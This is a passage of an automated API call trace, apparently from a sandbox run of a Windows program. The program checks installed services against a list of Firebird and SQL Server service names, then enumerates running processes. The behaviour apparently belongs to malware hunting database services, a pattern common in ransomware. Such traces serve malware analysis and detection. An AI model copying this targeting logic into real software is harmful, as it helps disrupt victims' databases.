	[0066.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0066.677] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0066.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0066.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0066.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0066.677] lstrlenW (lpString="Dhcp") returned 4
	[0066.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0066.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0066.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0066.677] lstrlenW (lpString="Dnscache") returned 8
	[0066.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0066.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0066.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0066.677] lstrlenW (lpString="DoSvc") returned 5
	[0066.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0066.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0066.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0066.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0066.677] lstrlenW (lpString="DPS") returned 3
	[0066.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0066.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0066.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0066.678] lstrlenW (lpString="DusmSvc") returned 7
	[0066.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0066.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0066.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0066.678] lstrlenW (lpString="EventLog") returned 8
	[0066.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0066.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0066.678] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0066.678] lstrlenW (lpString="EventSystem") returned 11
	[0066.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0066.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0066.678] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0066.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0066.678] lstrlenW (lpString="FontCache") returned 9
	[0066.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0066.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0066.678] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0066.678] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0066.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0066.679] lstrlenW (lpString="gpsvc") returned 5
	[0066.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0066.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0066.679] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0066.679] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0066.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0066.679] lstrlenW (lpString="iphlpsvc") returned 8
	[0066.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0066.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0066.679] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0066.679] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0066.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0066.679] lstrlenW (lpString="KeyIso") returned 6
	[0066.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0066.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0066.679] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0066.679] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0066.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0066.679] lstrlenW (lpString="LanmanServer") returned 12
	[0066.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0066.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0066.679] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0066.679] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0066.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0066.679] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0066.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0066.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0066.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0066.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0066.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0066.680] lstrlenW (lpString="lfsvc") returned 5
	[0066.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0066.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0066.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0066.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0066.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0066.680] lstrlenW (lpString="lmhosts") returned 7
	[0066.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0066.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0066.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0066.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0066.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0066.680] lstrlenW (lpString="LSM") returned 3
	[0066.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0066.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0066.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0066.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0066.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0066.680] lstrlenW (lpString="MapsBroker") returned 10
	[0066.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0066.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0066.680] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0066.680] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0066.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0066.681] lstrlenW (lpString="MpsSvc") returned 6
	[0066.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0066.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0066.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0066.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0066.681] lstrlenW (lpString="NcbService") returned 10
	[0066.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0066.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0066.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0066.681] lstrlenW (lpString="netprofm") returned 8
	[0066.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0066.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0066.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0066.681] lstrlenW (lpString="NlaSvc") returned 6
	[0066.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0066.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0066.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0066.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0066.681] lstrlenW (lpString="nsi") returned 3
	[0066.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0066.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0066.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0066.682] lstrlenW (lpString="PcaSvc") returned 6
	[0066.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0066.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0066.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0066.682] lstrlenW (lpString="PlugPlay") returned 8
	[0066.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0066.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0066.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0066.682] lstrlenW (lpString="Power") returned 5
	[0066.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0066.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0066.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0066.682] lstrlenW (lpString="ProfSvc") returned 7
	[0066.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0066.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0066.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0066.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0066.683] lstrlenW (lpString="RpcEptMapper") returned 12
	[0066.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0066.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0066.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0066.683] lstrlenW (lpString="RpcSs") returned 5
	[0066.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0066.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0066.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0066.683] lstrlenW (lpString="SamSs") returned 5
	[0066.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0066.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0066.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0066.683] lstrlenW (lpString="Schedule") returned 8
	[0066.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0066.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0066.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0066.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0066.683] lstrlenW (lpString="SecurityHealthService") returned 21
	[0066.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0066.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0066.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0066.684] lstrlenW (lpString="SENS") returned 4
	[0066.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0066.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0066.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0066.684] lstrlenW (lpString="ShellHWDetection") returned 16
	[0066.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0066.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0066.684] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0066.684] lstrlenW (lpString="Spooler") returned 7
	[0066.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0066.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0066.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0066.684] lstrlenW (lpString="SSDPSRV") returned 7
	[0066.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0066.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0066.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0066.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0066.685] lstrlenW (lpString="StateRepository") returned 15
	[0066.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0066.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0066.685] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0066.685] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0066.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0066.685] lstrlenW (lpString="SysMain") returned 7
	[0066.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0066.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0066.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0066.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0066.685] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x55afe8 | out: hHeap=0x500000) returned 1
	[0066.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c
	[0066.938] Process32FirstW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0066.939] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0066.940] lstrlenW (lpString="System") returned 6
	[0066.940] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0066.941] lstrlenW (lpString="smss.exe") returned 8
	[0066.941] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0066.942] lstrlenW (lpString="csrss.exe") returned 9
	[0066.942] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0066.942] lstrlenW (lpString="wininit.exe") returned 11
	[0066.942] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0066.943] lstrlenW (lpString="csrss.exe") returned 9
	[0066.943] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0066.945] lstrlenW (lpString="winlogon.exe") returned 12
	[0066.945] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0066.945] lstrlenW (lpString="services.exe") returned 12
	[0066.945] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0066.946] lstrlenW (lpString="lsass.exe") returned 9
	[0066.946] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.947] lstrlenW (lpString="svchost.exe") returned 11
	[0066.947] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0066.947] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0066.947] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0066.948] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0066.948] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.949] lstrlenW (lpString="svchost.exe") returned 11
	[0066.949] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0066.949] lstrlenW (lpString="dwm.exe") returned 7
	[0066.949] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.950] lstrlenW (lpString="svchost.exe") returned 11
	[0066.950] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.951] lstrlenW (lpString="svchost.exe") returned 11
	[0066.951] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.952] lstrlenW (lpString="svchost.exe") returned 11
	[0066.952] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.952] lstrlenW (lpString="svchost.exe") returned 11
	[0066.952] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.953] lstrlenW (lpString="svchost.exe") returned 11
	[0066.953] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.954] lstrlenW (lpString="svchost.exe") returned 11
	[0066.954] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.954] lstrlenW (lpString="svchost.exe") returned 11
